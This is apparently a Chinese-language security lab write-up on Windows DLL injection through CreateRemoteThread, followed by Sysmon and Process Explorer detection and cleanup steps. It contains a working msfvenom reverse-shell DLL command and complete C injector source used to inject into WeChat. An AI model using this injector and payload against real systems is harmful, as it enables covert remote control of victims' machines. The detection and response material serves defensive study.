1. 概述
这里面介绍的createremotethreat注入不论是注入到微信还是网网易云音乐,其注入的是微信和网易,但真实的却是使用rundll32.exe进程来通信,处置的时候直接重启微信和网易是不行的,需要把rundll32.exe重启或关闭。
注入是注入到微信或网易等应用程序里面,但是却是使用rundll32.exe程序来进行调用的,所以处置的时候可以直接关闭rundll32.exe
2. 实践
2.1 生成DLL马
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.235.128 lport=1111 -f dll > 3.dll
2.2 编译DLL注入代码
#include <stdio.h>
#include <Windows.h>
int main(int argc, char* argv[])
{
DWORD dwDesiredAccess = PROCESS_QUERY_INFORMATION | PROCESS_CREATE_THREAD | PROCESS_VM_OPERATION | PROCESS_VM_WRITE;
BOOL bInheritHandle = 0;
DWORD dwProcessId;
PCWSTR dllPath = TEXT("C:\\Users\\Administrator\\Desktop\\3.dll"); //设置DLLL路径
int dlllen = lstrlen(dllPath);
int dllbytes = dlllen * 2; //计算dll路径长度
if (argc == 2) {
dwProcessId = atoi(argv[1]);
}
else {
printf("Example:test.exe <process_id>\n");
exit(1);
}
HANDLE process = OpenProcess(dwDesiredAccess, bInheritHandle, dwProcessId); //读取进程获取句柄
if (process == 0) {
printf("[-] OpenProcess failure,Error code:%d\n", GetLastError());
exit(1);
}
else {
printf("[*] OpenProcess Sucess\n");
}
LPVOID vallex = VirtualAllocEx(process, 0, dllbytes, MEM_COMMIT, PAGE_READWRITE); //给远程地址分配一个可以放下dll路径的内存空间
if (vallex == 0) {
printf("[-] VirtualAllocEx failure,Error Code:%d\n", GetLastError());
exit(1);
}
else {
printf("[*] VirtualAllocEx Sucess\n");
}
if (!WriteProcessMemory(process, vallex, dllPath, dllbytes, 0)) { //远程内存写入
printf("[-] WriteProcessMemory failure,Error Code:%d\n", GetLastError());
exit(1);
}
else {
printf("[*] WriteProcessMemory Sucess\n");
}
FARPROC moduleaddress = GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW"); //获取Kernel32.dll里面LoadLibraryW函数地址
if (moduleaddress == 0) {
printf("[-] GetProcAddress failure,Error Code:%d\n", GetLastError());
exit(1);
}
else {
printf("[*] GetProcAddress Sucess\n");
}
HANDLE createthread_ = CreateRemoteThread(process, 0, 0, LPTHREAD_START_ROUTINE(moduleaddress), vallex, 0, 0); //在远程进程调用dll
if (createthread_ == 0) {
printf("[-] createthread failure,Error Code:%d\n", GetLastError());
exit(1);
}
else {
printf("[*] CreateRemoteThread Sucess\n");
WaitForSingleObject(createthread_, INFINITE); //等待线程创建结束(卸载DLL)
}
return 0;
}
这里面使用VS2019来编译并生成相应的EXE文件
可以使用ctrl+f7生成obj文件;然后使用ctrl+f5生成exe文件。
这个exe其实是将msf生成的dll程序进行加载了,然后再注入到相应的PID中。
2.3 配置监听
2.4 DLL注入
在这里面我们将DLL注入到微信程序中,可以看到微信的PID。(这里面很多进程有防护机制,不好注入,需要多测试几次,经过前期测试分析,微信和搜狗这种应用层的程序比较好注入,像svchost.exe这种系统层的程序很难直接注入成功)
直接进行注入。
后面完善了代码,获取了相应的地址
2.5 反弹shell
3. 分析
3.1 特点
经测试,不论是注入到微信还是网网易云音乐,其注入的是微信和网易,但真实的却是使用rundll32.exe进程来通信,处置的时候直接重启微信和网易是不行的,需要把rundll32.exe重启或关闭。
注入是注入到微信或网易等应用程序里面,但是却是使用rundll32.exe程序来进行调用的,所以处置的时候可以直接关闭rundll32.exe
3.2 日志分析
这里面我们使用sysmon进行日志分析,直接过滤sysmon类型8的日志就可以看到相应的日志,可以看到注入的PID和线程ID、开始地址、开始模板、开始功能等
TargetProcessId: 17796
TargetImage: D:\Program Files (X86)\Tencent\WeChat\wechatweb.exe
NewThreadId: 18404
StartAddress: 0x00000000759C9CC0
StartModule: C:\WINDOWS\System32\KERNEL32.DLL
StartFunction: LoadLibraryW
3.3 ProcessExplorer分析
3.3.1 进程分析
这里面我们看到,虽然注入选择的是微信的PID,但是真实注入的是rundll32.exe
3.3.2 线程分析
根据上面sysmon的日志,可以定位到恶意的线程
TargetProcessId: 17796
TargetImage: D:\Program Files (X86)\Tencent\WeChat\wechatweb.exe
NewThreadId: 18404
StartAddress: 0x00000000759C9CC0
StartModule: C:\WINDOWS\System32\KERNEL32.DLL
StartFunction: LoadLibraryW
3.3.3 DLL分析
4. 处置
通过前面的分析我们找到了相应的线程,本以为直接把线程干掉就可以了,测试的时候干掉进程还是不行的。
4.1 无持久化
4.1.1 重启进程
一般情况下,若无持久化的话可以直接将相应的进程重启就可以了。这里面我们看到本来是注入到微信程序,但是却是使用rundll32.exe程序来进行调用的,所以处置的时候可以直接关闭rundll32.exe
直接重启这个exe程序
4.1.2 直接干掉DLL
4.2 有持久化
持久化主流四种方式:注册表、计划任何、启动项、服务。后期针对这一块会进行专门的介绍。